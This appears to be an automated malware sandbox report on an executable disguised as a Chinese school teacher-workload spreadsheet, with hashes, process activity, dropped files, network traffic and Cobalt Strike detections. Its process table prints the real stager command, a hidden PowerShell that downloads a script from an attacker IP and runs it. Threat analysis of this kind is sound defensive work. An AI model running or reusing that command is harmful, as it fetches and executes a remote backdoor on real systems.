File name:

2021-2022学年度第二学期教师工作量安排统计表.exe

Full analysis: https://app.any.run/tasks/4679bddc-c45f-4ad6-9eb3-905d61ab5b8d
Verdict: Malicious activity
Threats:

Adware is a form of malware that targets users with unwanted advertisements, often disrupting their browsing experience. It typically infiltrates systems through software bundling, malicious websites, or deceptive downloads. Once installed, it may track user activity, collect sensitive data, and display intrusive ads, including pop-ups or banners. Some advanced adware variants can bypass security measures and establish persistence on devices, making removal challenging. Additionally, adware can create vulnerabilities that other malware can exploit, posing a significant risk to user privacy and system security.

Analysis date: March 24, 2025, 13:35:59
OS: Windows 10 Professional (build: 19045, 64 bit)
Tags:
upx
cobaltstrike
backdoor
payload
adware
Indicators:
MIME: application/vnd.microsoft.portable-executable
File info: PE32 executable (GUI) Intel 80386, for MS Windows, 6 sections
MD5:

E3CF050B506BDAA31C73786D660AA244

SHA1:

061D70F5017638405CF282F37E3BCC03F0A8A293

SHA256:

E6348C7B0555F4B6336B000EB03723F826ED36652819F3FB6ABC5EA81DD9C2CD

SSDEEP:

12288:7jR3h5L7cQ+po1PqMr8yxjDEaW8NVd3+8Sb34O:7jRTcxo1PqMTSF8Sb34O

ANY.RUN is an interactive service which provides full access to the guest system. Information in this report could be distorted by user actions and is provided for user acknowledgement as it is. ANY.RUN does not guarantee maliciousness or safety of the content.
  • MALICIOUS

    • Run PowerShell with an invisible window

      • powershell.exe (PID: 6272)
    • COBALTSTRIKE has been detected (SURICATA)

      • powershell.exe (PID: 6272)
    • Downloads the requested resource (POWERSHELL)

      • powershell.exe (PID: 6272)
  • SUSPICIOUS

    • Probably download files using WebClient

      • 2021-2022学年度第二学期教师工作量安排统计表.exe (PID: 6048)
    • Connects to unusual port

      • powershell.exe (PID: 6272)
    • Reads security settings of Internet Explorer

      • 2021-2022学年度第二学期教师工作量安排统计表.exe (PID: 6488)
    • Application launched itself

      • 2021-2022学年度第二学期教师工作量安排统计表.exe (PID: 6488)
    • There is functionality for taking screenshot (YARA)

      • 2021-2022学年度第二学期教师工作量安排统计表.exe (PID: 6048)
    • Executes script without checking the security policy

      • powershell.exe (PID: 6272)
    • Uses base64 encoding (POWERSHELL)

      • powershell.exe (PID: 6272)
    • Access to an unwanted program domain was detected

      • powershell.exe (PID: 6272)
    • The process bypasses the loading of PowerShell profile settings

      • 2021-2022学年度第二学期教师工作量安排统计表.exe (PID: 6048)
    • Possibly malicious use of IEX has been detected

      • 2021-2022学年度第二学期教师工作量安排统计表.exe (PID: 6048)
    • Found IP address in command line

      • powershell.exe (PID: 6272)
    • Starts POWERSHELL.EXE for commands execution

      • 2021-2022学年度第二学期教师工作量安排统计表.exe (PID: 6048)
  • INFO

    • Reads the computer name

      • 2021-2022学年度第二学期教师工作量安排统计表.exe (PID: 6488)
      • 2021-2022学年度第二学期教师工作量安排统计表.exe (PID: 6048)
    • Checks supported languages

      • 2021-2022学年度第二学期教师工作量安排统计表.exe (PID: 6488)
      • 2021-2022学年度第二学期教师工作量安排统计表.exe (PID: 6048)
    • Process checks computer location settings

      • 2021-2022学年度第二学期教师工作量安排统计表.exe (PID: 6488)
    • UPX packer has been detected

      • 2021-2022学年度第二学期教师工作量安排统计表.exe (PID: 6048)
    • Creates files or folders in the user directory

      • BackgroundTransferHost.exe (PID: 2268)
    • Uses string split method (POWERSHELL)

      • powershell.exe (PID: 6272)
    • Gets data length (POWERSHELL)

      • powershell.exe (PID: 6272)
Find more information about signature artifacts and mapping to MITRE ATT&CK™ MATRIX at the full report
No Malware configuration.

TRiD

.exe | Win64 Executable (generic) (64.6)
.dll | Win32 Dynamic Link Library (generic) (15.4)
.exe | Win32 Executable (generic) (10.5)
.exe | Generic Win/DOS Executable (4.6)
.exe | DOS Executable Generic (4.6)

EXIF

EXE

MachineType: Intel 386 or later, and compatibles
TimeStamp: 2023:01:26 06:55:08+00:00
ImageFileCharacteristics: Executable, 32-bit
PEType: PE32
LinkerVersion: 14.34
CodeSize: 239104
InitializedDataSize: 144896
UninitializedDataSize: -
EntryPoint: 0x222cb
OSVersion: 6
ImageVersion: -
SubsystemVersion: 6
Subsystem: Windows GUI
No data.
screenshotscreenshotscreenshotscreenshotscreenshotscreenshot
All screenshots are available in the full report
All screenshots are available in the full report
Total processes
145
Monitored processes
11
Malicious processes
3
Suspicious processes
0

Behavior graph

Click at the process to see the details
start 2021-2022学年度第二学期教师工作量安排统计表.exe no specs 2021-2022学年度第二学期教师工作量安排统计表.exe sppextcomobj.exe no specs slui.exe no specs backgroundtransferhost.exe no specs backgroundtransferhost.exe backgroundtransferhost.exe no specs #COBALTSTRIKE powershell.exe conhost.exe no specs backgroundtransferhost.exe no specs backgroundtransferhost.exe no specs

Process information

PID
CMD
Path
Indicators
Parent process
2268"BackgroundTransferHost.exe" -ServerName:BackgroundTransferHost.1C:\Windows\System32\BackgroundTransferHost.exe
svchost.exe
User:
admin
Company:
Microsoft Corporation
Integrity Level:
MEDIUM
Description:
Download/Upload Host
Exit code:
1
Version:
10.0.19041.3636 (WinBuild.160101.0800)
Modules
Images
c:\windows\system32\backgroundtransferhost.exe
c:\windows\system32\ntdll.dll
c:\windows\system32\kernel32.dll
c:\windows\system32\kernelbase.dll
c:\windows\system32\msvcrt.dll
c:\windows\system32\combase.dll
c:\windows\system32\ucrtbase.dll
c:\windows\system32\rpcrt4.dll
c:\windows\system32\kernel.appcore.dll
c:\windows\system32\bcryptprimitives.dll
2692"BackgroundTransferHost.exe" -ServerName:BackgroundTransferHost.1C:\Windows\System32\BackgroundTransferHost.exesvchost.exe
User:
admin
Company:
Microsoft Corporation
Integrity Level:
MEDIUM
Description:
Download/Upload Host
Exit code:
1
Version:
10.0.19041.3636 (WinBuild.160101.0800)
Modules
Images
c:\windows\system32\backgroundtransferhost.exe
c:\windows\system32\ntdll.dll
c:\windows\system32\kernel32.dll
c:\windows\system32\kernelbase.dll
c:\windows\system32\msvcrt.dll
c:\windows\system32\combase.dll
c:\windows\system32\ucrtbase.dll
c:\windows\system32\rpcrt4.dll
c:\windows\system32\kernel.appcore.dll
c:\windows\system32\bcryptprimitives.dll
4040C:\WINDOWS\system32\SppExtComObj.exe -EmbeddingC:\Windows\System32\SppExtComObj.Exesvchost.exe
User:
NETWORK SERVICE
Company:
Microsoft Corporation
Integrity Level:
SYSTEM
Description:
KMS Connection Broker
Version:
10.0.19041.3996 (WinBuild.160101.0800)
Modules
Images
c:\windows\system32\sppextcomobj.exe
c:\windows\system32\ntdll.dll
c:\windows\system32\kernel32.dll
c:\windows\system32\kernelbase.dll
c:\windows\system32\advapi32.dll
c:\windows\system32\msvcrt.dll
c:\windows\system32\sechost.dll
c:\windows\system32\rpcrt4.dll
c:\windows\system32\bcrypt.dll
c:\windows\system32\oleaut32.dll
4428"BackgroundTransferHost.exe" -ServerName:BackgroundTransferHost.1C:\Windows\System32\BackgroundTransferHost.exesvchost.exe
User:
admin
Company:
Microsoft Corporation
Integrity Level:
MEDIUM
Description:
Download/Upload Host
Exit code:
1
Version:
10.0.19041.3636 (WinBuild.160101.0800)
Modules
Images
c:\windows\system32\backgroundtransferhost.exe
c:\windows\system32\ntdll.dll
c:\windows\system32\kernel32.dll
c:\windows\system32\kernelbase.dll
c:\windows\system32\msvcrt.dll
c:\windows\system32\combase.dll
c:\windows\system32\ucrtbase.dll
c:\windows\system32\rpcrt4.dll
c:\windows\system32\kernel.appcore.dll
c:\windows\system32\bcryptprimitives.dll
4452"C:\WINDOWS\System32\SLUI.exe" RuleId=3482d82e-ca2c-4e1f-8864-da0267b484b2;Action=AutoActivate;AppId=55c92734-d682-4d71-983e-d6ec3f16059f;SkuId=4de7cb65-cdf1-4de9-8ae8-e3cce27b9f2c;NotificationInterval=1440;Trigger=TimerEventC:\Windows\System32\slui.exeSppExtComObj.Exe
User:
NETWORK SERVICE
Company:
Microsoft Corporation
Integrity Level:
SYSTEM
Description:
Windows Activation Client
Version:
10.0.19041.1 (WinBuild.160101.0800)
Modules
Images
c:\windows\system32\slui.exe
c:\windows\system32\ntdll.dll
c:\windows\system32\kernel32.dll
c:\windows\system32\kernelbase.dll
c:\windows\system32\advapi32.dll
c:\windows\system32\msvcrt.dll
c:\windows\system32\sechost.dll
c:\windows\system32\rpcrt4.dll
c:\windows\system32\bcrypt.dll
c:\windows\system32\user32.dll
5324"BackgroundTransferHost.exe" -ServerName:BackgroundTransferHost.1C:\Windows\System32\BackgroundTransferHost.exesvchost.exe
User:
admin
Company:
Microsoft Corporation
Integrity Level:
MEDIUM
Description:
Download/Upload Host
Exit code:
1
Version:
10.0.19041.3636 (WinBuild.160101.0800)
Modules
Images
c:\windows\system32\backgroundtransferhost.exe
c:\windows\system32\ntdll.dll
c:\windows\system32\kernel32.dll
c:\windows\system32\kernelbase.dll
c:\windows\system32\msvcrt.dll
c:\windows\system32\combase.dll
c:\windows\system32\ucrtbase.dll
c:\windows\system32\rpcrt4.dll
c:\windows\system32\kernel.appcore.dll
c:\windows\system32\bcryptprimitives.dll
6048"C:\Users\admin\AppData\Local\Temp\2021-2022学年度第二学期教师工作量安排统计表.exe" C:\Users\admin\AppData\Local\Temp\2021-2022学年度第二学期教师工作量安排统计表.exe
2021-2022学年度第二学期教师工作量安排统计表.exe
User:
admin
Integrity Level:
HIGH
Exit code:
0
Modules
Images
c:\users\admin\appdata\local\temp\2021-2022学年度第二学期教师工作量安排统计表.exe
c:\windows\system32\ntdll.dll
c:\windows\syswow64\ntdll.dll
c:\windows\system32\wow64.dll
c:\windows\system32\wow64win.dll
c:\windows\system32\wow64cpu.dll
c:\windows\syswow64\kernel32.dll
c:\windows\syswow64\kernelbase.dll
c:\windows\syswow64\apphelp.dll
c:\windows\syswow64\user32.dll
6272powershell.exe -nop -w hidden -c "IEX ((new-object net.webclient).downloadstring('http://47.108.39.159:4446/b'))"C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
2021-2022学年度第二学期教师工作量安排统计表.exe
User:
admin
Company:
Microsoft Corporation
Integrity Level:
HIGH
Description:
Windows PowerShell
Version:
10.0.19041.1 (WinBuild.160101.0800)
Modules
Images
c:\windows\syswow64\windowspowershell\v1.0\powershell.exe
c:\windows\system32\ntdll.dll
c:\windows\syswow64\ntdll.dll
c:\windows\system32\wow64.dll
c:\windows\system32\wow64win.dll
c:\windows\system32\wow64cpu.dll
c:\windows\syswow64\kernel32.dll
c:\windows\syswow64\kernelbase.dll
c:\windows\syswow64\apphelp.dll
c:\windows\syswow64\msvcrt.dll
6476"BackgroundTransferHost.exe" -ServerName:BackgroundTransferHost.1C:\Windows\System32\BackgroundTransferHost.exesvchost.exe
User:
admin
Company:
Microsoft Corporation
Integrity Level:
MEDIUM
Description:
Download/Upload Host
Exit code:
1
Version:
10.0.19041.3636 (WinBuild.160101.0800)
Modules
Images
c:\windows\system32\backgroundtransferhost.exe
c:\windows\system32\ntdll.dll
c:\windows\system32\kernel32.dll
c:\windows\system32\kernelbase.dll
c:\windows\system32\msvcrt.dll
c:\windows\system32\combase.dll
c:\windows\system32\ucrtbase.dll
c:\windows\system32\rpcrt4.dll
c:\windows\system32\kernel.appcore.dll
c:\windows\system32\bcryptprimitives.dll
6488"C:\Users\admin\AppData\Local\Temp\2021-2022学年度第二学期教师工作量安排统计表.exe" C:\Users\admin\AppData\Local\Temp\2021-2022学年度第二学期教师工作量安排统计表.exeexplorer.exe
User:
admin
Integrity Level:
MEDIUM
Exit code:
0
Modules
Images
c:\users\admin\appdata\local\temp\2021-2022学年度第二学期教师工作量安排统计表.exe
c:\windows\system32\ntdll.dll
c:\windows\syswow64\ntdll.dll
c:\windows\system32\wow64.dll
c:\windows\system32\wow64win.dll
c:\windows\system32\wow64cpu.dll
c:\windows\syswow64\kernel32.dll
c:\windows\syswow64\kernelbase.dll
c:\windows\syswow64\apphelp.dll
c:\windows\syswow64\user32.dll
Total events
6 655
Read events
6 626
Write events
29
Delete events
0

Modification events

(PID) Process:(6476) BackgroundTransferHost.exeKey:HKEY_CLASSES_ROOT\Local Settings\Software\Microsoft\Windows\CurrentVersion\AppContainer\Storage\microsoft.windows.contentdeliverymanager_cw5n1h2txyewy\Internet Settings\Cache\Content
Operation:writeName:CachePrefix
Value:
(PID) Process:(6476) BackgroundTransferHost.exeKey:HKEY_CLASSES_ROOT\Local Settings\Software\Microsoft\Windows\CurrentVersion\AppContainer\Storage\microsoft.windows.contentdeliverymanager_cw5n1h2txyewy\Internet Settings\Cache\Cookies
Operation:writeName:CachePrefix
Value:
Cookie:
(PID) Process:(6476) BackgroundTransferHost.exeKey:HKEY_CLASSES_ROOT\Local Settings\Software\Microsoft\Windows\CurrentVersion\AppContainer\Storage\microsoft.windows.contentdeliverymanager_cw5n1h2txyewy\Internet Settings\Cache\History
Operation:writeName:CachePrefix
Value:
Visited:
(PID) Process:(2268) BackgroundTransferHost.exeKey:HKEY_CLASSES_ROOT\Local Settings\Software\Microsoft\Windows\CurrentVersion\AppContainer\Storage\microsoft.windows.contentdeliverymanager_cw5n1h2txyewy\Internet Settings\Cache\Content
Operation:writeName:CachePrefix
Value:
(PID) Process:(2268) BackgroundTransferHost.exeKey:HKEY_CLASSES_ROOT\Local Settings\Software\Microsoft\Windows\CurrentVersion\AppContainer\Storage\microsoft.windows.contentdeliverymanager_cw5n1h2txyewy\Internet Settings\Cache\Cookies
Operation:writeName:CachePrefix
Value:
Cookie:
(PID) Process:(2268) BackgroundTransferHost.exeKey:HKEY_CLASSES_ROOT\Local Settings\Software\Microsoft\Windows\CurrentVersion\AppContainer\Storage\microsoft.windows.contentdeliverymanager_cw5n1h2txyewy\Internet Settings\Cache\History
Operation:writeName:CachePrefix
Value:
Visited:
(PID) Process:(4428) BackgroundTransferHost.exeKey:HKEY_CLASSES_ROOT\Local Settings\Software\Microsoft\Windows\CurrentVersion\AppContainer\Storage\microsoft.windows.contentdeliverymanager_cw5n1h2txyewy\Internet Settings\Cache\Content
Operation:writeName:CachePrefix
Value:
(PID) Process:(4428) BackgroundTransferHost.exeKey:HKEY_CLASSES_ROOT\Local Settings\Software\Microsoft\Windows\CurrentVersion\AppContainer\Storage\microsoft.windows.contentdeliverymanager_cw5n1h2txyewy\Internet Settings\Cache\Cookies
Operation:writeName:CachePrefix
Value:
Cookie:
(PID) Process:(4428) BackgroundTransferHost.exeKey:HKEY_CLASSES_ROOT\Local Settings\Software\Microsoft\Windows\CurrentVersion\AppContainer\Storage\microsoft.windows.contentdeliverymanager_cw5n1h2txyewy\Internet Settings\Cache\History
Operation:writeName:CachePrefix
Value:
Visited:
(PID) Process:(2692) BackgroundTransferHost.exeKey:HKEY_CLASSES_ROOT\Local Settings\Software\Microsoft\Windows\CurrentVersion\AppContainer\Storage\microsoft.windows.contentdeliverymanager_cw5n1h2txyewy\Internet Settings\Cache\Content
Operation:writeName:CachePrefix
Value:
Executable files
0
Suspicious files
7
Text files
2
Unknown types
0

Dropped files

PID
Process
Filename
Type
2268BackgroundTransferHost.exeC:\Users\admin\AppData\Local\Packages\Microsoft.Windows.ContentDeliveryManager_cw5n1h2txyewy\AC\BackgroundTransferApi\8a1f5a56-24ea-48ad-a4b4-30f2baf37735.down_data
MD5:
SHA256:
2268BackgroundTransferHost.exeC:\Users\admin\AppData\Local\Packages\Microsoft.Windows.ContentDeliveryManager_cw5n1h2txyewy\AC\Microsoft\CryptnetUrlCache\Content\26C212D9399727259664BDFCA073966E_F9F7D6A7ECE73106D2A8C63168CDA10Dbinary
MD5:4872BABAF39AA62B8D32695EBB7E9173
SHA256:2EE85DF86EE29BBEB3DCA81AA29B6DE204F605A2769B84C728A329178A2D0999
6272powershell.exeC:\Users\admin\AppData\Local\Temp\__PSScriptPolicyTest_22tf3fvt.cq5.ps1text
MD5:D17FE0A3F47BE24A6453E9EF58C94641
SHA256:96AD1146EB96877EAB5942AE0736B82D8B5E2039A80D3D6932665C1A4C87DCF7
60482021-2022学年度第二学期教师工作量安排统计表.exeC:\Users\admin\AppData\Local\Temp\2021-2022学年度第二学期教师工作量安排统计表.xlsdocument
MD5:D7D37555AFF15F31030CB9A658CBC882
SHA256:D21E793C5D8CAA18112A8E5A23B60020173D38B595112985DE267F95B5C470B6
6272powershell.exeC:\Users\admin\AppData\Local\Temp\__PSScriptPolicyTest_35jowo54.hcz.psm1text
MD5:D17FE0A3F47BE24A6453E9EF58C94641
SHA256:96AD1146EB96877EAB5942AE0736B82D8B5E2039A80D3D6932665C1A4C87DCF7
2268BackgroundTransferHost.exeC:\Users\admin\AppData\Local\Packages\Microsoft.Windows.ContentDeliveryManager_cw5n1h2txyewy\AC\BackgroundTransferApi\8d49607d-0090-4e81-82f8-1eeaacc67004.up_meta_securebinary
MD5:74261AC53728E138720AD792A904CB50
SHA256:AC4EB2444001A720D67C0D1979FE3BD80C9700C5DFB89D48054AD89FB396E0CB
6272powershell.exeC:\Users\admin\AppData\Local\Microsoft\Windows\PowerShell\ModuleAnalysisCachebinary
MD5:8B8A832FCE2174C8FEE26B70F2483FBB
SHA256:0FBA3A37EF443507F533A7C3F31C0B5826EA416B95FDE43479E02D4E0C29400B
2268BackgroundTransferHost.exeC:\Users\admin\AppData\Local\Packages\Microsoft.Windows.ContentDeliveryManager_cw5n1h2txyewy\AC\BackgroundTransferApi\8d49607d-0090-4e81-82f8-1eeaacc67004.a0b3ea80-27cb-4a70-8ff6-8fd58b9f8b30.down_metabinary
MD5:F43BB34FA0DEC5777B1AC1880A569287
SHA256:2AAD6114362F44139E655D906AEC7F6F90A299D3C64D740E53C40FCD86AEA551
2268BackgroundTransferHost.exeC:\Users\admin\AppData\Local\Packages\Microsoft.Windows.ContentDeliveryManager_cw5n1h2txyewy\AC\Microsoft\CryptnetUrlCache\MetaData\26C212D9399727259664BDFCA073966E_F9F7D6A7ECE73106D2A8C63168CDA10Dbinary
MD5:8066763616F54363EBB6833A15944D50
SHA256:3E63BB4BFE4BE204CC8305B16CA20ECF9F3C31FD8C5F753068C85E4D26E6BDDC
2268BackgroundTransferHost.exeC:\Users\admin\AppData\Local\Packages\Microsoft.Windows.ContentDeliveryManager_cw5n1h2txyewy\AC\BackgroundTransferApi\8a1f5a56-24ea-48ad-a4b4-30f2baf37735.a0b3ea80-27cb-4a70-8ff6-8fd58b9f8b30.down_metabinary
MD5:F43BB34FA0DEC5777B1AC1880A569287
SHA256:2AAD6114362F44139E655D906AEC7F6F90A299D3C64D740E53C40FCD86AEA551
Download PCAP, analyze network streams, HTTP content and a lot more at the full report
HTTP(S) requests
9
TCP/UDP connections
29
DNS requests
14
Threats
4

HTTP requests

PID
Process
Method
HTTP Code
IP
URL
CN
Type
Size
Reputation
2268
BackgroundTransferHost.exe
GET
200
184.30.131.245:80
http://ocsp.digicert.com/MFEwTzBNMEswSTAJBgUrDgMCGgUABBTrjrydRyt%2BApF3GSPypfHBxR5XtQQUs9tIpPmhxdiuNkHMEWNpYim8S8YCEAI5PUjXAkJafLQcAAsO18o%3D
unknown
unknown
GET
200
23.48.23.158:80
http://crl.microsoft.com/pki/crl/products/MicRooCerAut2011_2011_03_22.crl
unknown
unknown
6544
svchost.exe
GET
200
184.30.131.245:80
http://ocsp.digicert.com/MFEwTzBNMEswSTAJBgUrDgMCGgUABBSAUQYBMq2awn1Rh6Doh%2FsBYgFV7gQUA95QNVbRTLtm8KPiGxvDl7I90VUCEAJ0LqoXyo4hxxe7H%2Fz9DKA%3D
unknown
unknown
6516
backgroundTaskHost.exe
GET
200
184.30.131.245:80
http://ocsp.digicert.com/MFEwTzBNMEswSTAJBgUrDgMCGgUABBQ50otx%2Fh0Ztl%2Bz8SiPI7wEWVxDlQQUTiJUIBiV5uNu5g%2F6%2BrkS7QYXjzkCEAUZZSZEml49Gjh0j13P68w%3D
unknown
unknown
6272
powershell.exe
GET
200
47.108.39.159:4446
http://47.108.39.159:4446/b
unknown
unknown
4920
SIHClient.exe
GET
200
2.16.253.202:80
http://www.microsoft.com/pkiops/crl/Microsoft%20ECC%20Product%20Root%20Certificate%20Authority%202018.crl
unknown
unknown
6272
powershell.exe
GET
200
47.108.39.159:4446
http://47.108.39.159:4446/updates.rss
unknown
unknown
GET
200
23.48.23.158:80
http://crl.microsoft.com/pki/crl/products/MicRooCerAut2011_2011_03_22.crl
unknown
unknown
4920
SIHClient.exe
GET
200
2.16.253.202:80
http://www.microsoft.com/pkiops/crl/Microsoft%20ECC%20Update%20Secure%20Server%20CA%202.1.crl
unknown
unknown
Download PCAP, analyze network streams, HTTP content and a lot more at the full report

Connections

PID
Process
IP
Domain
ASN
CN
Reputation
2104
svchost.exe
51.104.136.2:443
MICROSOFT-CORP-MSN-AS-BLOCK
IE
unknown
4
System
192.168.100.255:137
unknown
51.104.136.2:443
MICROSOFT-CORP-MSN-AS-BLOCK
IE
unknown
23.48.23.158:80
crl.microsoft.com
Akamai International B.V.
DE
unknown
4
System
192.168.100.255:138
unknown
3216
svchost.exe
20.197.71.89:443
client.wns.windows.com
MICROSOFT-CORP-MSN-AS-BLOCK
SG
unknown
6544
svchost.exe
20.190.160.5:443
login.live.com
MICROSOFT-CORP-MSN-AS-BLOCK
NL
unknown
6544
svchost.exe
184.30.131.245:80
ocsp.digicert.com
AKAMAI-AS
US
unknown
2112
svchost.exe
4.231.128.59:443
settings-win.data.microsoft.com
MICROSOFT-CORP-MSN-AS-BLOCK
IE
unknown
2104
svchost.exe
4.231.128.59:443
settings-win.data.microsoft.com
MICROSOFT-CORP-MSN-AS-BLOCK
IE
unknown

DNS requests

Domain
IP
Reputation
google.com
  • 142.250.186.78
unknown
crl.microsoft.com
  • 23.48.23.158
  • 23.48.23.143
  • 23.48.23.177
  • 23.48.23.169
  • 23.48.23.166
  • 23.48.23.167
  • 23.48.23.162
unknown
client.wns.windows.com
  • 20.197.71.89
unknown
login.live.com
  • 20.190.160.5
  • 20.190.160.20
  • 20.190.160.4
  • 40.126.32.138
  • 40.126.32.134
  • 20.190.160.65
  • 40.126.32.140
  • 20.190.160.17
unknown
ocsp.digicert.com
  • 184.30.131.245
unknown
settings-win.data.microsoft.com
  • 4.231.128.59
  • 40.127.240.158
unknown
arc.msn.com
  • 20.223.35.26
unknown
www.bing.com
  • 2.16.204.152
  • 2.16.204.156
  • 2.16.204.136
  • 2.16.204.157
  • 2.16.204.137
  • 2.16.204.160
  • 2.16.204.161
  • 2.16.204.135
  • 2.16.204.133
unknown
slscr.update.microsoft.com
  • 172.202.163.200
unknown
www.microsoft.com
  • 2.16.253.202
unknown

Threats

PID
Process
Class
Message
6272
powershell.exe
A Network Trojan was detected
PAYLOAD [ANY.RUN] Cobaltstrike Base64 Encoded PS Stager
6272
powershell.exe
Targeted Malicious Activity was Detected
ET MALWARE Cobalt Strike Beacon Observed
6272
powershell.exe
A Network Trojan was detected
BACKDOOR [ANY.RUN] Possible Cobalt Strike Beacon
6272
powershell.exe
Possibly Unwanted Program Detected
ET ADWARE_PUP Fun Web Products Spyware User-Agent (FunWebProducts)
No debug info